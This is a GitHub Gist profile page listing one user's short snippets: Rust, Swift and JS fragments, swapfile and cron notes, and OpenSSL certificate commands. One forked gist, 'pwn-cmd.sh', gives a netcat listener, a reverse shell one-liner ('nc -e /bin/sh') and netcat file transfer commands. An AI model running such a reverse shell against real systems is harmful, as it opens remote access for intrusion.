Skip to content

Instantly share code, notes, and snippets.

View jonathanwork's full-sized avatar

Jonathan Lopez jonathanwork

View GitHub Profile
@jonathanwork
jonathanwork / start.rs
Created April 11, 2024 05:49
simple rust programs
fn vector() -> Vec<i16> {
let mut v : Vec<i16> =
Vec::<i16>::new() ;
v.push(10i16);
v.push(20i16);
v
}
@jonathanwork
jonathanwork / swaps.sh
Created September 9, 2023 21:45
swapper for more memory
sudo fallocate -l 1G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
sudo swapon --show
sudo cp /etc/fstab /etc/fstab.bak
echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab
sudo sysctl vm.swappiness=10
echo 'vm.swappiness=10' | sudo tee -a /etc/sysctl.conf
sudo sysctl vm.vfs_cache_pressure=50
@jonathanwork
jonathanwork / meh.sh
Created January 26, 2023 09:23
just checking
pmset -g log|grep -e " Sleep " -e " Wake " | tail -n 10
sed -i -e 's/[ \t]*//' yourfile
@jonathanwork
jonathanwork / reminders
Created October 24, 2022 00:21
reminder of cron
* * * * * command
* - minute (0-59)
* - hour (0-23)
* - day of the month (1-31)
* - month (1-12)
* - day of the week (0-6, 0 is Sunday)
command - command to execute
(from left-to-right)
@jonathanwork
jonathanwork / updates.sh
Created August 25, 2022 21:33
simple updates for pods and chinnigins
arch -x86_64 pod update
@jonathanwork
jonathanwork / pwn-cmd.sh
Created August 5, 2022 00:03 — forked from megalucio/pwn-cmd.sh
Some useful pwn commands
# Netcat simple listen
netcat -lvp [port]
# Netcat reverse shell
nc -e /bin/sh [destination] [port]
# Nectat file transfer
nc -l -p 1234 > out.file
nc -w 3 [destination] [port] < out.file
@jonathanwork
jonathanwork / timer.swift
Created July 16, 2022 19:51
this is countdown in swift
// countdown 10 seconds
let deadlineTime = DispatchTime.now() + .seconds(15)
DispatchQueue.main.asyncAfter(deadline: deadlineTime) {
}
let deadTimeSegue = DispatchTime.now() + .seconds(60)
@jonathanwork
jonathanwork / sslScript.sh
Created April 10, 2022 00:02
adding ssl to connection
openssl genrsa -out key.pem
openssl req -new -key key.pem -out csr.pem
openssl x509 -req -days 9999 -in csr.pem -signkey key.pem -out cert.pem
rm csr.pem
@jonathanwork
jonathanwork / connect.js
Created March 1, 2022 12:13
js connector
connector = url.URL(
{
protocol: null,
host: null ,
user: null,
password: null,
port: null,
pathname: null,